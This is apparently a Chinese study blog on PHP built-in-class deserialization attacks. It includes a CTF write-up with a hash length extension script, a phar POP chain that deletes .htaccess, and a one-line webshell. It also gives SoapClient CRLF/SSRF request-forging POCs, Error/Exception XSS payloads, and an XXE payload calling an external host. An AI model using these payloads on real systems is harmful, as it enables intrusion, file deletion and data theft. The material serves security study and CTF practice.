前言

如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何?N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化。

原生类之ZipArchive::open()

官方介绍
再识序列化(三)原生类反序列化 - 图1
此函数使用条件PHP>=5.2.0,PHP7的环境,flag的参数有不同的作用,可以创建一个不存在的压缩包,或者是覆盖一个已存在的的压缩包
再识序列化(三)原生类反序列化 - 图2
本地演示一下

  1. <?php
  2. $a = new ZipArchive();
  3. $a->open('1.txt',ZipArchive::OVERWRITE);
  4. var_dump(file_exists('1.txt'));

image.png
如果打印结果为flase,说明1.txt被删除了
image.png
去文件夹内发现1.txt确实被删除了

做道ctf题实战一下
image.png
admin 123465可以登陆进去,然后是个上传页面
image.png
不是admin无法上传,可以发现www.zip有源码泄露,大概审计了下代码

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;
}

登陆前生成一个cookie,我们如何成为admin可以使用 hash扩展攻击


function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

我们需要满足:
  1. username = “admin” && password != “admin”
  2. $_COOKIE[‘user’] === md5($secret.$this->username.$this->password)
结合上面的

md5($secret."adminadmin") = 52107b08c0f3342d2153ae1d68e6262c

可以使用哈希长度扩展攻击来绕过获取$secret的步骤,直接获取password
这里由于不知道$secret的长度,只能依次将长度+1然后生成exp。登陆上传。当测试到第13个的时候就成功了
再识序列化(三)原生类反序列化 - 图7
或者直接

hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k 13 -a pcat

用hashpump写个脚本:

import requests,hashpumpy,urllib
def webre():
    sha='52107b08c0f3342d2153ae1d68e6262c'
    string0='admin'
    string1='pcat'
    for i in range(15):
        digest,message=hashpumpy.hashpump(sha,string0,string1,i)
        role=urllib.quote(message[::])
        hsh=digest
        payload={'post':role,'hash':hsh}
        print(i,payload)
webre()

最后得到

username:admin
password:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admin
$_Cookie['user'] = 7e6270e35bf7b74982d8fff6382b5048

安装HashPump的坑比较多,各种报错。
后面就是使用username和password登录,加上cookie的user值,登录上传就可以了。
image.png
.htaccess文件是异常的,所以上传的木马无法正常访问。
往下看,发现当使用is_admin()判断完后,又调用了一个check()方法
再识序列化(三)原生类反序列化 - 图9
是对上传文件的内容进行检测,如果出现system,eval,assert这类危险字段,程序就会报错退出。但是由于是黑名单校验,简单变形即可绕过。
继续看一下view.php文件
再识序列化(三)原生类反序列化 - 图10
发现使用GET方法获取前端传进来的filename,filepath,实例化一个File类的对象,将解码后filename,filepath传入类中,并调用view_detail方法。
跟进File这个类
再识序列化(三)原生类反序列化 - 图11
view_detail方法会先检测传进来的filepath是否以phar,compress,zip…等字段开头。接下来使用mime_content_type来检测文件mime类型。问题点就在这里触发,因为mime_content_type可以使用phar://触发phar反序列化
再识序列化(三)原生类反序列化 - 图12
那就步入今天的正题了
可以通过ZipArchive类调用open方法,并设置flag参数为ZipArchive::OVERWRITE来删除.htaccess文件,尝试来构造一个POP链:

ZipArchive::open()在PHP>=5.2.0的时候可以使用,其中flag参数如果设置为ZipArchive::OVERWRITE时,会删除指定文件
  1. Profile类中open方法在魔术方法__call内被$this->admin调用,存在同名open方法被php内置类ZipArchive调用,利用此类下的open方法可以作文件删除。此时就需要把admin赋值为ZipArchive类的对象,并构造第一个参数为要删除的文件路径,第二个参数ZipArchive::OVERWRITE
    $this->admin = new ZipArchive()
    $this->username = "/var/www/html/sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess"; 
    $this->password = ZIPARCHIVE::OVERWRITE;
    
  2. call()方法在在对象调用不存在方法时触发,在File类中的析构函数中存在$this->checker = upload_file(),当给checker赋值为Profile类的对象,此时调用upload_file(),由于函数不存在。那么就会触发call魔术方法

    $this->checker = new Profile()
    

    最终的调用链为:

    Profile::open() <-- Profile::__call <-- File::__destruct
    

    构造phar文件 ```php <?php class File{

    public $filename; public $filepath; public $checker;

    function __construct($filename, $filepath) {

     $this->filepath = $filepath;
     $this->filename = $filename;
     $this->checker = new Profile();
    

    } }

class Profile{

public $username;
public $password;
public $admin;

function __construct()
{
    $this->username =  "/var/www/html/sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
    $this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
    $this->admin = new ZipArchive();
}

} $a = new File(‘filename’,’filepath’); @unlink(“test.phar”); $phar = new Phar(“jtest.phar”); //后缀名必须为phar $phar->startBuffering(); $phar->setStub(“<?php __HALT_COMPILER(); ?>”); //设置stub $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString(“test.txt”, “test”); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>

上传phar文件,访问时需要注意对filepath的检测
```php
php://filter/resource=phar://...../xxxx.phar

访问之后触发反序列化pop链删除.htaccess文件
再上传小马

<?php
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
?a=system&b=cat%20flag

即可拿到了flag。
一个知识点做一天了,明天继续更原生类,冲冲冲!

原生类之SoapClient::__call

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式

SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

官方的介绍
再识序列化(三)原生类反序列化 - 图13
说明:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数$wsdl是文件的uri,如果是NULL意味着不使用WSDL模式。
第二个参数是数组,如果在wsdl模式下,此参数可选;如果参数wsdl为空,则必须设置location和uri选项,其中location是要将请求发送到SOAP服务器的URL,而uri是SOAP服务的明明空间。
再识序列化(三)原生类反序列化 - 图14
本地使用SoapClient类要在php.ini配置文件里面开启extension=php_soap.dll选项

<?php
    error_reporting(0);
    $a = new SoapClient(null,array('uri'=>'xxx', 'location'=>'http://127.0.0.1:5555/yyy'));
    $b = serialize($a);
    echo $b;
    $c = unserialize($b);
    $c->not_exists_function();
?>

image.png
上面的代码在执行反序列化时,会执行SoapClient,当其没有成员函数时,会自动调用该类的__call方法,然后向target_url发送一个soap请求,uri选项我们可控。
SoapClient类也会有CRLF注入的问题
再识序列化(三)原生类反序列化 - 图16
可以看到options参数中还有一个选项为user_agent,运行我们自己设置User-Agent的值。
当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type为和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送post请求最关键的地方。
本地测试:

<?php
    $a = new SoapClient(null,array('uri'=>"xxx\r\n\r\nzzz\r\n", 'location'=>'http://127.0.0.1:5555/yyy'));
    $b = serialize($a);
    echo $b;
    $c = unserialize($b);
    $c->not_exists_function();
?>

image.png
最后给出wupco师傅的生成任意POST报文的POC:

<?php
  $target = 'http://123.206.216.198/bbb.php';
  $post_string = 'a=b&flag=aaa';
  $headers = array(
      'X-Forwarded-For: 127.0.0.1',
      'Cookie: xxxx=1234'
   );
  $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));
  $aaa = serialize($b);
  $aaa = str_replace('^^','%0d%0a',$aaa);
  $aaa = str_replace('&','%26',$aaa);
  echo $aaa;
?>

如果是GET请求的话,那么构造好location就行:

<?php
  $url = "http://127.0.0.1/flag.php";
  $b = new SoapClient(null, array('uri' => $url, 'location' => $url));
  $a = serialize($b);
  $a = str_replace('^^', "\r\n", $a);
  echo "|" . urlencode($a);
?>

利用场景:

demo.php

<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
    echo 'hi';
    @$a=$_POST[1];
    @eval($a);
}
?>

exp.php

<?php
$target= 'http://127.0.0.1/demo.php';
$post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers= array(
   'X-Forwarded-For:127.0.0.1',
   'Cookie:admin=1'
   );
$b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"xxx"));
//因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
$aaa= serialize($b);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;

$x= unserialize(urldecode($aaa));//调用__call方法触发网络请求发送
$x->no_func();
?>

image.png

原生类之Error(php7)/Exception(php5,php7)

Error类就是PHP的一个内置类用于自动定义一个Error,在php7环境下可能会造成一个xss漏洞,因为它内置有一个__toString()魔术方法。
Exception类和Error类原理一样,其适用PHP5,PHP7。

本地演示一下
demo.php

<?php
 $a = unserialize($_GET['a']);
 echo $a;
?>

exp

<?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
?>

payload

a=O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A55%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Cyuansheng%5CError%5Cpayload.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

image.png
Exception类
调用Exception类生成xss序列化payload:

<?php
  $a = new Exception("<script>alert(1)</script>");
  echo urlencode(serialize($a));?>

得到编码后的序列化结果:

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A55%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Cyuansheng%5CError%5Cpayload.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

原生类之SimpleXMLElement

利用方法就是实例化该类的对象来传入xml代码进行xxe攻击,进而读取文件内容和命令执行。

SimpleXMLElement :(PHP 5, PHP 7)

功能 :用来表示XML文档中的元素,为PHP的内置类

直接传入一个包含恶意payload的XML代码即可。

<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
    <!ENTITY % remote SYSTEM "http://dt860r.ceye.io">%remote;]>
]>
<x>&xee</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>

访问php文件,即可造成xxe攻击
image.png

结束了,原生类的学习,碰到了ctf题会补上。